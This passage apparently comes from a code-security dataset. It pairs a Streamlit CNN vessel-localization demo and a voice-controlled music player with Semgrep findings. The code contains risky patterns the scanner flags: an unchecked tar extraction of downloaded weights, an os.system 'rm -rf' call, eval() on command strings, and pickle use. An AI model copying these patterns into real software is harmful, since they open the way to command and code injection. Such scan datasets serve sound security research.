"cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 62, "col": 13, "offset": 2722}, "end": {"line": 62, "col": 26, "offset": 2735}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_950f30669d7dc9e8_e53d96ef", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 74, "line_end": 74, "column_start": 23, "column_end": 155, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 74, "col": 23, "offset": 3041}, "end": {"line": 74, "col": 155, "offset": 3173}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_950f30669d7dc9e8_143bfaea", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 96, "line_end": 96, "column_start": 18, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 96, "col": 18, "offset": 4258}, "end": {"line": 96, "col": 38, "offset": 4278}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_3abba30c", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 120, "line_end": 120, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 120, "col": 13, "offset": 5105}, "end": {"line": 120, "col": 26, "offset": 5118}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_950f30669d7dc9e8_ae3e1193", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 129, "line_end": 129, "column_start": 21, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/950f30669d7dc9e8.py", "start": {"line": 129, "col": 21, "offset": 5647}, "end": {"line": 129, "col": 34, "offset": 5660}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 10 | true | [
"CWE-502",
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle",
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security",
"security"
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | [
61,
74
] | [
61,
74
] | [
13,
23
] | [
173,
155
] | [
"A08:2017 - Insecure Deserialization",
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.",
"Avoid using `pickle`, which is known to lead to... | [
5,
5
] | [
"LOW",
"LOW"
] | [
"MEDIUM",
"MEDIUM"
] | intento3.py | /intento3.py | Chrisvimu/tesseract-python | MIT | |
2024-11-18T19:23:07.769879+00:00 | 1,626,464,490,000 | 6dee853b7c0c68eace46353d5ca2838243689107 | 2 | {
"blob_id": "6dee853b7c0c68eace46353d5ca2838243689107",
"branch_name": "refs/heads/master",
"committer_date": 1626464490000,
"content_id": "bfd809f56ae955a503f32fcde3545137be459a69",
"detected_licenses": [
"MIT"
],
"directory_id": "a26c6a4ed61440b3b62771aeea31ef467f51fab3",
"extension": "py",
"filename": "streamlit_app.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 350889056,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7512,
"license": "MIT",
"license_type": "permissive",
"path": "/streamlit_app.py",
"provenance": "stack-edu-0054.json.gz:570980",
"repo_name": "pcorrado/DL-Vessel-Localization",
"revision_date": 1626464490000,
"revision_id": "0d5658e7b50ac162b7301515ea1a9f31bc4415a8",
"snapshot_id": "929b47d710718fb7b824e99c5c34de696a77b272",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/pcorrado/DL-Vessel-Localization/0d5658e7b50ac162b7301515ea1a9f31bc4415a8/streamlit_app.py",
"visit_date": "2023-06-24T23:20:02.720783"
} | 2.4375 | stackv2 | import sys
import os
import numpy as np
import scipy
import cv2
from common.utils import readPlaneLocations, readCase
import matplotlib.pyplot as plt
sys.path.append('/export/home/pcorrado/.local/bin')
import streamlit as st
import OneShotCNN.Model as oneShotModel
import OneShotCNN.DataGenerator as generator
import tensorflow as tf
import requests
import tarfile
def main():
# Render the readme as markdown using st.markdown.
readme_text = st.markdown(get_file_content_as_string("demo_instructions.md"))
st.sidebar.title("What to do")
app_mode = st.sidebar.selectbox("Choose the app mode",
["Show instructions", "Run the app", "Show the source code"])
if app_mode == "Show instructions":
showFigures()
st.sidebar.success('To continue select "Run the app".')
elif app_mode == "Show the source code":
readme_text.empty()
st.code(get_file_content_as_string("streamlit_app.py"))
elif app_mode == "Run the app":
readme_text.empty()
run_the_app()
# This is the main app app itself, which appears when the user selects "Run the app".
def run_the_app():
img = readCaseCached()
# Manually annotated plane location, size, and normal vector for the aorta, mpa, svc, and ivc
label = np.array([[60.43185042, 52.30437038, 54.49545298, -15.18513197, 0.002, -13.0158274],
[71.9789919, 47.29195794, 53.70544135, 0.760368264, 10.9279566, -11.66197259],
[50.22421655, 60.22166319, 50.91803201, 0.497330459, -0.129592946, 9.986784672],
[52.68816532, 67.17255745, 81.37310384, 2.825293567, -2.881176231, -11.30117427]])
x, y, z = location_selector_ui()
labels2 = None
if st.checkbox('Run CNN to locate vessels.'):
labels2 = runCNN(img)
st.write('Red: Manually placed planes.')
st.write('Yellow: CNN Predictions.')
else:
labels2 = None
st.write('Red: Manually placed planes.')
# Display image slices and vessel cut planes
st.image(np.concatenate((formatImage(img[x,:,:,1], label, labels2, 0, x, y, z), \
formatImage(img[:,y,:,1], label, labels2, 1, y, x, z), \
formatImage(img[:,:,z,1], label, labels2, 2, z, x, y)), axis=1), width=768)
# Choose image slices for each view
def location_selector_ui():
st.sidebar.markdown("Pick image location")
# Choose a frame out of the selected frames.
x = st.sidebar.slider("X", 0, 128 - 1, 53)
y = st.sidebar.slider("Y", 0, 128 - 1, 55)
z = st.sidebar.slider("Z", 0, 128 - 1, 58)
return x,y,z
# Read in demo data set, this will happen only when the app is loaded.
@st.cache(suppress_st_warning=True)
def readCaseCached():
return np.load('./demo_case.npy').astype(np.float32)
# Calculates plane endpoints and arrow location for displaying on the given image slice.
@st.cache(suppress_st_warning=True)
def getPlaneIntersection(label,dim,slice):
planes = []
for v in range(label.shape[0]):
z = label[v,dim]
length = np.sqrt(label[v,3]**2 + label[v,4]**2 + label[v,5]**2)
labelV = np.delete(np.delete(label[v,:],dim+3),dim)
if np.abs(z-slice)<(length/2):
x = labelV[0]
y = labelV[1]
nx = labelV[2]
ny = labelV[3]
s = np.sqrt(length**2-(2*(z-slice))**2)
dx = ny/np.sqrt(nx**2+ny**2)
dy = -nx/np.sqrt(nx**2+ny**2)
planes.append([y-s*0.5*dy, y+s*0.5*dy, x-s*0.5*dx, x+s*0.5*dx, y, y+0.5*ny, x, x+0.5*nx])
return planes
# Display image slices and plane annotations
@st.cache(suppress_st_warning=True)
def formatImage(img, labels, labels2, dim, slice,x,y):
img = np.tile(np.expand_dims(np.uint8(scipy.ndimage.zoom(np.clip(np.squeeze(img)/np.percentile(img, 99.5),0.0,1.0), 2, order=0)*255),axis=2),(1,1,3))
img = cv2.line(img, (2*x, 0), (2*x, img.shape[1]), (255,255,255), 1)
img = cv2.line(img, (0, 2*y), (img.shape[0], 2*y), (255,255,255), 1)
for pl in getPlaneIntersection(labels,dim,slice):
img = cv2.line(img, (int(2*pl[0]), int(2*pl[2])), (int(2*pl[1]), int(2*pl[3])), (255,0,0), 2)
img = cv2.arrowedLine(img, (int(2*pl[4]), int(2*pl[6])), (int(2*pl[5]), int(2*pl[7])), (255,0,0), 3)
if labels2 is not None:
for pl in getPlaneIntersection(labels2,dim,slice):
img = cv2.line(img, (int(2*pl[0]), int(2*pl[2])), (int(2*pl[1]), int(2*pl[3])), (255,255,0), 2)
img = cv2.arrowedLine(img, (int(2*pl[4]), int(2*pl[6])), (int(2*pl[5]), int(2*pl[7])), (255,255,0), 3)
return img
# Load the CNN model and then run it with the demo image to predict plane locations.
@st.cache(suppress_st_warning=True)
def downloadModelWeights(id):
st.write('Downloading model weights.')
download_file_from_google_drive(id, './model_weights.tar.gz')
my_tar = tarfile.open('./model_weights.tar.gz')
my_tar.extractall('.')
my_tar.close()
myModel = tf.keras.models.load_model('./OneShot_batch_64/', custom_objects={"myLossFunction": oneShotModel.myLossFunction})
os.remove('./model_weights.tar.gz')
os.system('rm -rf {}'.format('./OneShot_batch_64/'))
return myModel
# Load the CNN model and then run it with the demo image to predict plane locations.
@st.cache(suppress_st_warning=True)
def runCNN(img):
st.write('Running CNN to predict vessel locations (will execute only once). May take up to 1 minute.')
myModel = downloadModelWeights('1vMWAOYf5q5_M4374K5qsQhlFn7yF4RYX')
gen = generator.DataGenerator(["_"], {"_": np.zeros((8,7))}, images=np.expand_dims(img,axis=0), shuffle=False)
pred, _ = oneShotModel.MyModel.predictFullImages(myModel, gen)
pred = np.array(pred["_"])
pred[:,4] = pred[:,4]*pred[:,3]
pred[:,5] = pred[:,5]*pred[:,3]
pred[:,6] = pred[:,6]*pred[:,3]
return np.delete(pred[0:4,:],3, axis=1)
# Display instructions on screen.
@st.cache(show_spinner=False)
def get_file_content_as_string(path):
f = open(path, "r")
text = f.read()
f.close()
return text
def showFigures():
st.write("\n\n\n")
st.image("./figures/Fig1.JPG")
st.write("\n\n\n")
st.image("./figures/Fig2.JPG")
st.write("\n\n\n")
st.image("./figures/Fig3.JPG")
st.write("\n\n\n")
st.image("./figures/Fig4.JPG", width=512)
st.write("\n\n\n")
st.image("./figures/Fig5.JPG", width=512)
def download_file_from_google_drive(id, destination):
URL = "https://docs.google.com/uc?export=download"
session = requests.Session()
response = session.get(URL, params = { 'id' : id }, stream = True)
token = get_confirm_token(response)
if token:
params = { 'id' : id, 'confirm' : token }
response = session.get(URL, params = params, stream = True)
save_response_content(response, destination)
def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None
def save_response_content(response, destination):
CHUNK_SIZE = 32768
with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk: # filter out keep-alive new chunks
f.write(chunk)
if __name__ == "__main__":
main()
| 181 | 39.5 | 153 | 21 | 2,345 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_d5fa1faf25aedc4d_c0338cf7", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 120, "line_end": 120, "column_start": 5, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/d5fa1faf25aedc4d.py", "start": {"line": 120, "col": 5, "offset": 5165}, "end": {"line": 120, "col": 57, "offset": 5217}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_d5fa1faf25aedc4d_327a1aed", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 9, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/d5fa1faf25aedc4d.py", "start": {"line": 139, "col": 9, "offset": 6031}, "end": {"line": 139, "col": 24, "offset": 6046}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_d5fa1faf25aedc4d_449432f3", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "session.get(URL, params = { 'id' : id }, stream = True, timeout=30)", "location": {"file_path": "unknown", "line_start": 159, "line_end": 159, "column_start": 16, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/d5fa1faf25aedc4d.py", "start": {"line": 159, "col": 16, "offset": 6587}, "end": {"line": 159, "col": 71, "offset": 6642}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "session.get(URL, params = { 'id' : id }, stream = True, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.best-practice.use-timeout_d5fa1faf25aedc4d_e21056f5", "tool_name": "semgrep", "rule_id": "rules.python.requests.best-practice.use-timeout", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "remediation": "session.get(URL, params = params, stream = True, timeout=30)", "location": {"file_path": "unknown", "line_start": 163, "line_end": 163, "column_start": 20, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "title": null}, {"url": "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.best-practice.use-timeout", "path": "/tmp/tmpb8jm_z1l/d5fa1faf25aedc4d.py", "start": {"line": 163, "col": 20, "offset": 6766}, "end": {"line": 163, "col": 68, "offset": 6814}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "session.get(URL, params = params, stream = True, timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 4 | true | [
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
120
] | [
120
] | [
5
] | [
57
] | [
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability."
] | [
7.5
] | [
"LOW"
] | [
"HIGH"
] | streamlit_app.py | /streamlit_app.py | pcorrado/DL-Vessel-Localization | MIT | |
2024-11-18T19:38:01.581438+00:00 | 1,582,515,041,000 | 7719c8491758bfd42f2cdfd254446faf83ea5da9 | 3 | {
"blob_id": "7719c8491758bfd42f2cdfd254446faf83ea5da9",
"branch_name": "refs/heads/master",
"committer_date": 1582515041000,
"content_id": "8a66cdc81089d3db287b789b7c175aa87b45817e",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "f8a9c2b00c7667a24560fb8ae6d75f546c3384a7",
"extension": "py",
"filename": "api.py",
"fork_events_count": 0,
"gha_created_at": 1582191725000,
"gha_event_created_at": 1679702179000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "Apache-2.0",
"github_id": 241846338,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3755,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/Google API/api.py",
"provenance": "stack-edu-0054.json.gz:571019",
"repo_name": "baokhanh92/Voice_detection_API_controlling",
"revision_date": 1582515041000,
"revision_id": "a18f576357520962cf2a53992290aa5dcef8e0fa",
"snapshot_id": "25a9894669293e08dd5a7fee3b19cc4cc5c36c7b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/baokhanh92/Voice_detection_API_controlling/a18f576357520962cf2a53992290aa5dcef8e0fa/Google API/api.py",
"visit_date": "2023-04-08T12:31:28.492090"
} | 3.234375 | stackv2 | import speech_recognition as sr
import pygame
import time
from pynput import mouse
def recognize_speech_from_mic(recognizer, microphone):
# check that recognizer and microphone arguments are appropriate type
if not isinstance(recognizer, sr.Recognizer):
raise TypeError("`recognizer` must be `Recognizer` instance")
if not isinstance(microphone, sr.Microphone):
raise TypeError("`microphone` must be `Microphone` instance")
# adjust the recognizer sensitivity to ambient noise and record audio
# from the microphone
with microphone as source:
recognizer.adjust_for_ambient_noise(source)
print('Speak')
audio = recognizer.listen(source)
print('Finish')
# set up the response object
response = {
"success": True,
"error": None,
"transcription": None
}
# try recognizing the speech in the recording
# if a RequestError or UnknownValueError exception is caught,
# update the response object accordingly
try:
response["transcription"] = recognizer.recognize_google(audio)
except sr.RequestError:
# API was unreachable or unresponsive
response["success"] = False
response["error"] = "API unavailable"
except sr.UnknownValueError:
# speech was unintelligible
response["error"] = "Unable to recognize speech"
return response
class Volume(object):
def __init__(self):
self.level = .5
def increase(self, amount):
self.level += amount
print(f'New level is: {self.level}')
def decrease(self, amount):
self.level -= amount
print(f'New level is: {self.level}')
def load_music():
pygame.init()
pygame.mixer.init()
vol = Volume()
pygame.mixer.music.load('music/song.mp3')
pygame.mixer.music.set_volume(vol.level)
pygame.mixer.music.play(-1)
# # # pygame.mixer.music.set_pos(50)
pygame.mixer.music.pause()
# print('music is waiting')
load_music()
def onclick():
state = ""
def checkclick(x, y, button, pressed):
nonlocal state
if button == mouse.Button.left:
state = 'yes'
return False
elif button == mouse.Button.right:
state = 'quit'
return False
with mouse.Listener(on_click=checkclick) as listener:
listener.join()
return state
if __name__=="__main__":
set_up = True
vol = Volume()
load_music()
recognizer = sr.Recognizer()
microphone = sr.Microphone()
time.sleep(4)
command = ''
action = ''
c = 'say'
while True:
say = onclick()
if say == 'yes':
action = recognize_speech_from_mic(recognizer, microphone)['transcription']
print(action)
if action is None:
continue
elif say == 'quit':
break
if 'off' in action:
try:
command = 'pygame.mixer.music.pause()'
except:
set_up = False
pass
elif 'on' in action:
try:
command = 'pygame.mixer.music.play()'
except ConnectionError:
set_up = False
pass
elif 'down' in action:
try:
command = 'vol.decrease(0.5)'
pygame.mixer.music.set_volume(vol.level)
except ConnectionError:
set_up = False
pass
elif 'up' in action:
try:
command = 'vol.increase(0.5)'
pygame.mixer.music.set_volume(vol.level)
except ConnectionError:
set_up = False
pass
eval(command)
| 134 | 27.02 | 87 | 16 | 804 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.useless-inner-function_b7cd6df16a5e391b_b8859da6", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-inner-function", "finding_type": "maintainability", "severity": "high", "confidence": "medium", "message": "function `checkclick` is defined inside a function but never used", "remediation": "", "location": {"file_path": "unknown", "line_start": 72, "line_end": 79, "column_start": 5, "column_end": 25, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-inner-function", "path": "/tmp/tmpb8jm_z1l/b7cd6df16a5e391b.py", "start": {"line": 72, "col": 5, "offset": 2053}, "end": {"line": 79, "col": 25, "offset": 2300}, "extra": {"message": "function `checkclick` is defined inside a function but never used", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.arbitrary-sleep_b7cd6df16a5e391b_207eea88", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.arbitrary-sleep", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "time.sleep() call; did you mean to leave this in?", "remediation": "", "location": {"file_path": "unknown", "line_start": 90, "line_end": 90, "column_start": 5, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.arbitrary-sleep", "path": "/tmp/tmpb8jm_z1l/b7cd6df16a5e391b.py", "start": {"line": 90, "col": 5, "offset": 2550}, "end": {"line": 90, "col": 18, "offset": 2563}, "extra": {"message": "time.sleep() call; did you mean to leave this in?", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_b7cd6df16a5e391b_b278bd8f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 9, "column_end": 22, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmpb8jm_z1l/b7cd6df16a5e391b.py", "start": {"line": 133, "col": 9, "offset": 3740}, "end": {"line": 133, "col": 22, "offset": 3753}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, 